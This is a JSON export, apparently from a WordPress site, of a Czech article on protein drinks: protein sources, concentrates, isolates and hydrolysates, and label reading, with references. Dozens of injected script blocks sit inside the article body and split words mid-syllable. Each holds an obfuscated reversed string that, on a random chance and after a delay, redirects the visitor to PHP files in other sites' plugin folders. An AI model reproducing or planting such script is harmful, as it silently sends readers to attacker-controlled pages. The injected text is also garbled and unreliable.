delay);}<\/script>tovci zcela vyhovuje. Z\u00a0nutri\u010dn\u00edho hlediska jde v\u0161ak st\u00e1le o velmi hodnotn\u00fd protein, vynik\u00e1 p\u0159edev\u0161\u00edm vysok\u00fdm pod\u00edlem esenci\u00e1ln\u00edch aminokyselin.<\/li>\n<li><strong>R\u00fd\u017eov\u00fd proteinov\u00fd izol\u00e1t<\/strong> se \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vyskytuje jako sou\u010d\u00e1st komplexn\u00edch \u201evegansk\u00fdch protein\u016f\u201c, ojedin\u011ble na n\u011bj naraz\u00edme i samostatn\u011b. B\u00edlkovina r\u00fd\u017eov\u00e9ho proteinov\u00e9ho izol\u00e1tu je ji\u017e m\u00e9n\u011b kvalitn\u00ed, a tak je pot\u0159eba u\u017e\u00edvat opravdu vysok\u00e9 d\u00e1vky pro dosa\u017een\u00ed srovnateln\u00e9ho \u00fa\u010dinku, jak\u00fd zn\u00e1me od kvalitn\u011bj\u0161\u00edch proteinov\u00fdch n\u00e1poj\u016f v\u00a0b\u011b\u017en\u00e9m d\u00e1vkov\u00e1n\u00ed.<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><strong>Je libo koncentr\u00e1t, izol\u00e1t, nebo snad hydrolyz\u00e1t?<\/strong><\/p>\n<p>Aby <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho nebylo m\u00e1lo, jednotliv\u00e9 zdroje protein\u016f se je\u0161t\u011b mohou vysky<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat v\u00a0r\u016fzn\u00fdch variant\u00e1ch. B\u011b\u017en\u011b pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to naraz\u00edte na n\u00e1sleduj\u00edc\u00ed:<\/p>\n<ol>\n<li><strong>KONCENTR\u00c1TY<\/strong> jsou z\u00e1kladn\u00ed varian<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou proteinov\u00fdch n\u00e1poj\u016f, p\u0159\u00edkladem m\u016f\u017ee b\u00fdt syrov\u00e1tkov\u00fd proteinov\u00fd koncentr\u00e1t ( WPC). Obsah b\u00edlkovin v\u00a0neochucen\u00fdch proteinov\u00fdch koncentr\u00e1tech b\u00fdv\u00e1 p\u0159ibli\u017en\u011b 80 %.<\/li>\n<li><strong>IZOL\u00c1TY<\/strong> jsou pokro\u010dilou varian<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou proteinov\u00fdch n\u00e1poj\u016f, p\u0159\u00edkladem je syrov\u00e1tkov\u00fd proteinov\u00fd izol\u00e1t ( WPI). Obsah b\u00edlkovin v\u00a0neochucen\u00fdch proteinov\u00fdch izol\u00e1tech b\u00fdv\u00e1 \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to vy\u0161\u0161\u00ed ne\u017e 90 %.<\/li>\n<li><strong>HYDROLYZ\u00c1TY<\/strong> (lidov\u011b \u201ehydro\u201c) jsou speci\u00e1ln\u00ed varian<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou proteinov\u00fdch n\u00e1poj\u016f. Jedn\u00e1 se o enzymaticky zpracovan\u00e9 proteinov\u00e9 koncentr\u00e1ty, u kter\u00fdch n\u00e1sledkem procesu hydrol\u00fdzy doch\u00e1z\u00ed k\u00a0chemick\u00fdm zm\u011bn\u00e1m. Proteinov\u00e9 hydrolyz\u00e1ty jsou sn\u00e1ze straviteln\u00e9, a pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to se jedn\u00e1 o ide\u00e1ln\u00ed proteinov\u00e9 n\u00e1poje po spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00edm tr\u00e9ninku.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Zdroje:<\/strong><\/p>\n<p>IRAKI, Juma, Peter FITSCHEN, Sergio ESPINAR a Eric HELMS. Nutrition Recommendations for Bodybuilders in the Off-Season: A Narrative Review.\u00a0<em>Sports<\/em> 2019,\u00a0<strong>7<\/strong>(7)<\/p>\n<p>MATHAI, John K., Yanhong LIU a Hans H. STEIN. Values for digestible indispensable amino acid scores (DIAAS) for some dairy and plant proteins may better describe protein quality than values calculated using the concept for protein digestibility-corrected amino acid scores (PDCAAS).\u00a0<em>British Journal of Nutrition<\/em>\u00a02017,\u00a0<strong>117<\/strong>(4), 490-499<\/p>\n<p>J\u00c4GER, Ralf, Chad M. KERKSICK, Bill I. CAMPBELL, et al. International Society of Sports Nutrition Position Stand: protein and exercise.\u00a0<em>Journal of the International Society of Sports Nutrition<\/em>\u00a02017,\u00a0<strong>14<\/strong>(1)<\/p>\n<p>BABAULT, Nicolas, Chris<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tos PA\u00cfZIS, Ga\u00eblle DELEY et al. Pea proteins oral supplementation promotes muscle thickness gains during resistance training: a double-blind, randomized, Placebo-controlled clinical trial vs. Whey protein.\u00a0<em>Journal of the International Society of Sports Nutrition<\/em>\u00a02015,\u00a0<strong>12<\/strong>(1)<\/p>\n<p>PATEL, Seema. Emerging trends in nutraceutical applications of whey protein and its derivatives.\u00a0<em>Journal of Food Science and Technology<\/em>\u00a02015,\u00a0<strong>52<\/strong>(11), 6847-6858<\/p>\n<p>JOY, Jordan M, Ryan P LOWERY, Jacob M WILSON, et al. The effects of 8\u00a0weeks of whey or rice protein supplementation on body composition and exercise performance.\u00a0<em>Nutrition Journal<\/em>\u00a02013,\u00a0<strong>12<\/strong>(1)<\/p>\n<p>HUGHES, Glenna J., David J. RYAN, Ratna MUKHERJEA a Charles S. SCHASTEEN. Protein Digestibility-Corrected Amino Acid Scores (PDCAAS) for Soy Protein Isolates and Concentrate: Criteria for Evaluation.\u00a0<em>Journal of Agricultural and Food Chemistry<\/em>\u00a02011,\u00a0<strong>59<\/strong>(23), 12707-12712<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tom\u00e1\u0161 Novotn\u00fd, lektor Tren\u00e9rsk\u00e9 \u0161koly Olympia &nbsp; &nbsp; Proteinov\u00e9 n\u00e1poje pat\u0159\u00ed mezi nejobl\u00edben\u011bj\u0161\u00ed dopl\u0148ky stravy jak mezi aktivn\u00edmi sportovci, tak mezi nesportuj\u00edc\u00ed populac\u00ed. Utrat\u00edme za n\u011b podle proveden\u00fdch pr\u016fzkum\u016f ro\u010dn\u011b v\u00edce pen\u011bz ne\u017e za jak\u00fdkoliv jin\u00fd dopln\u011bk stravy \u2013 a to v\u010detn\u011b vitamin\u016f a miner\u00e1l\u016f. Jin\u00e9 v\u00fdzkumy zase uk\u00e1zaly, \u017ee proteinov\u00e9 n\u00e1poje u\u017e\u00edv\u00e1 pravideln\u011b 9 z\u00a010 kulturist\u016f. Jsou zkr\u00e1tka IN a svou popularitu si dr\u017e\u00ed u\u017e n\u011bkolik dek\u00e1d. Nelze se proto divit, \u017ee prakticky ka\u017ed\u00e1 zna\u010dka suplement\u016f na trhu, a \u017ee jich nen\u00ed zrovna m\u00e1lo, nab\u00edz\u00ed sv\u016fj vlastn\u00ed proteinov\u00fd n\u00e1poj. Ty se potom od sebe li\u0161\u00ed nejenom chut\u00ed, ale tak\u00e9 slo\u017een\u00edm, a p\u0159edev\u0161\u00edm kvalitou vstupn\u00edch surovin. Jak se vyznat v\u00a0nep\u0159ebern\u00e9m mno\u017estv\u00ed r\u016fzn\u00fdch protein\u016f a jak poznat ty opravdu kvalitn\u00ed? \u00a0 Kl\u00ed\u010dem k\u00a0relevantn\u00edm informac\u00edm je v\u017edy etiketa Na etiket\u011b proteinov\u00e9ho n\u00e1poje naleznete prakticky v\u0161echny informace pot\u0159ebn\u00e9 k\u00a0tomu, abyste zjistili, jestli je dan\u00fd v\u00fdrobek pro v\u00e1s vhodn\u00fd, \u010di nikoliv. Proto si etiketu proteinu p\u0159ed zakoupen\u00edm detailn\u011b prostudujte, abyste nekupovali zaj\u00edce v\u00a0pytli. Etiketa dopl\u0148k\u016f stravy (a potravin obecn\u011b) m\u00e1 sv\u00e1 pravidla. Obecn\u011b plat\u00ed, \u017ee n\u011bkter\u00e9 informace na etiket\u011b b\u00fdt uvedeny mus\u00ed a v\u00fdrobce v\u00a0nich p\u0159\u00edli\u0161 volnou ruku nem\u00e1, jin\u00e9 z\u00e1vis\u00ed \u010dist\u011b na v\u016fli prodejce, kter\u00fd tak m\u016f\u017ee podpo\u0159it informa\u010dn\u00ed hodnotu etikety, nebo p\u0159\u00edpadn\u011b vzbudit v\u00a0z\u00e1kazn\u00edc\u00edch dojem kvalitn\u00edho produktu. Prvn\u00ed zdroj cenn\u00fdch informac\u00ed o proteinu najdete ve SLO\u017dEN\u00cd. Jak u\u017e n\u00e1zev napov\u00edd\u00e1, pr\u00e1v\u011b zde jsou uvedeny v\u0161echny suroviny pou\u017eit\u00e9 p\u0159i v\u00fdrob\u011b dan\u00e9ho dopl\u0148ku stravy. Slo\u017een\u00ed produktu se standardn\u011b p\u00ed\u0161e sestupn\u00fdm zp\u016fsobem, tzn. \u017ee nejv\u00edce zastoupen\u00e9 suroviny jsou uvedeny na za\u010d\u00e1tku, zat\u00edmco ty nejm\u00e9n\u011b zastoupen\u00e9 na konci. Pokud ve slo\u017een\u00ed naleznete na prvn\u00edm m\u00edst\u011b jinou surovinu ne\u017e p\u0159irozen\u00fd zdroj protein\u016f (\u010dasto to b\u00fdv\u00e1 nap\u0159\u00edklad maltodextrin), je to zn\u00e1mka toho, \u017ee dan\u00fd protein nem\u00e1 zrovna vysok\u00fd obsah b\u00edlkovin. Dal\u0161\u00ed d\u016fle\u017eit\u00e9 informace hledejte v tabulce\u00a0NUTRI\u010cN\u00cdCH HODNOT. Zde by v\u00e1s m\u011bla zaj\u00edmat zejm\u00e9na kolonka ozna\u010den\u00e1 jako \u201eb\u00edlkoviny\u201c. Pokud si kupujete proteinov\u00fd n\u00e1poj, pravd\u011bpodobn\u011b jej sh\u00e1n\u00edte za \u00fa\u010delem dopln\u011bn\u00ed b\u00edlkovin. Ochucen\u00e9 proteinov\u00e9 n\u00e1poje by m\u011bly m\u00edt nejm\u00e9n\u011b 70 g b\u00edlkovin na 100 g produktu. Mno\u017estv\u00ed 75\u201380 g b\u00edlkovin na 100 g ji\u017e p\u0159edstavuje pom\u011brn\u011b koncentrovan\u00fd zdroj b\u00edlkovin, n\u011bkter\u00e9 proteinov\u00e9 v\u00fdrobky na b\u00e1zi proteinov\u00fdch izol\u00e1t\u016f mohou m\u00edt pod\u00edl b\u00edlkovin je\u0161t\u011b vy\u0161\u0161\u00ed. &nbsp; Co dal\u0161\u00edho lze vy\u010d\u00edst z\u00a0etikety proteinov\u00fdch n\u00e1poj\u016f? N\u011bkte\u0159\u00ed v\u00fdrobci uv\u00e1d\u00ed na etiket\u011b tak\u00e9 tzv. aminokyselinov\u00e9 spektrum dan\u00e9ho proteinu, jeho porozum\u011bn\u00ed u\u017e vy\u017eaduje trochu hlub\u0161\u00ed znalosti protein\u016f a jejich slo\u017een\u00ed. Jedn\u00e1 se o komplexn\u00ed tabulku, v n\u00ed\u017e jsou uvedeny v\u0161echny aminokyseliny tvo\u0159\u00edc\u00ed danou b\u00edlkovinu a jejich procentu\u00e1ln\u00ed pod\u00edl v\u00a0proteinu. Bez znalosti kontextu n\u00e1m aminokyselinov\u00e9 spektrum na etiket\u011b proteinov\u00e9ho n\u00e1poje ne\u0159ekne prakticky v\u016fbec nic. V\u00edce informac\u00ed z\u00a0n\u011bj m\u016f\u017eeme vy\u010d\u00edst v\u00a0p\u0159\u00edpad\u011b, \u017ee bychom jej porovnali s\u00a0aminokyselinov\u00fdm spektrem referen\u010dn\u00ed b\u00edlkoviny stanoven\u00e9 podle WHO z\u00a0roku 2007, kter\u00e9 je voln\u011b dohledateln\u00e9 na internetu. Porovn\u00e1n\u00edm aminokyselinov\u00e9ho spektra s\u00a0referen\u010dn\u00ed b\u00edlkovinou stanovenou WHO lze z\u00edskat informaci o tzv. aminokyselinov\u00e9m sk\u00f3re (AAS) dan\u00e9 b\u00edlkoviny, kter\u00e9 ji\u017e leccos napov\u00edd\u00e1 o celkov\u00e9 kvalit\u011b a vyu\u017eitelnosti proteinov\u00e9ho n\u00e1poje. V\u00a0neposledn\u00ed \u0159ad\u011b mohou v\u00fdrobci proteinov\u00fdch n\u00e1poj\u016f uv\u00e9st na etiket\u011b specifick\u00e9 \u010d\u00edseln\u00e9 indexy hodnot\u00edc\u00ed celkovou kvalitu b\u00edlkovin. Mezi nej\u010dast\u011bji uv\u00e1d\u011bn\u00e9 indexy pat\u0159\u00ed Biologick\u00e1 hodnota (BV) a index PDCAAS, p\u0159i\u010dem\u017e nejvy\u0161\u0161\u00ed mo\u017en\u00e1 hodnota pro BV je 100, pro PDCAAS je to 1,0. \u010c\u00edm vy\u0161\u0161\u00ed index dan\u00e1 b\u00edlkovina m\u00e1, t\u00edm vy\u0161\u0161\u00ed je jej\u00ed kvalita. &nbsp; \u010c\u00edm se li\u0161\u00ed zdroje b\u00edlkovin v\u00a0proteinov\u00fdch n\u00e1poj\u00edch? Proteinov\u00fd n\u00e1poj m\u016f\u017eete vyrobit prakticky z\u00a0jak\u00e9koliv suroviny, kter\u00e1 p\u0159irozen\u011b obsahuje b\u00edlkoviny. A proto\u017ee je mo\u017en\u00e9 na trhu narazit t\u0159eba i na bramborov\u00fd protein (brambory obsahuj\u00ed p\u0159irozen\u011b asi 2 g b\u00edlkovin na 100 g), slovo jak\u00e9koliv situaci skute\u010dn\u011b vystihuje. To jsou ov\u0161em sp\u00ed\u0161e takov\u00e9 speciality, kter\u00e9 rozhodn\u011b ve sportovn\u00ed v\u00fd\u017eiv\u011b nijak nedominuj\u00ed. T\u011bch klasick\u00fdch a hojn\u011b prod\u00e1van\u00fdch zdroj\u016f protein\u016f je toti\u017e ve skute\u010dnosti jenom p\u00e1r a my si je v\u00a0n\u00e1sleduj\u00edc\u00edch odstavc\u00edch p\u0159edstav\u00edme trochu detailn\u011bji. #1 mezi\u00a0proteinov\u00fdmi suplementy \u2013 ml\u00e9\u010dn\u00e9 proteiny Pokud p\u0159ijdete do posilovny a objedn\u00e1te si na baru jeden proteinov\u00fd koktejl po tr\u00e9ninku, na 99 % v\u00e1m bude nam\u00edch\u00e1n pr\u00e1v\u011b ml\u00e9\u010dn\u00fd protein. Ml\u00e9\u010dn\u00e9 proteiny jsou ve fitness pr\u016fmyslu zna\u010dn\u011b obl\u00edben\u00e9, a to nejen pro svou p\u0159\u00edjemnou chu\u0165, ale tak\u00e9 pro vynikaj\u00edc\u00ed nutri\u010dn\u00ed vlastnosti. V\u00a0praxi rozezn\u00e1v\u00e1me dva z\u00e1kladn\u00ed druhy ml\u00e9\u010dn\u00fdch protein\u016f, kter\u00e9 se mezi sebou 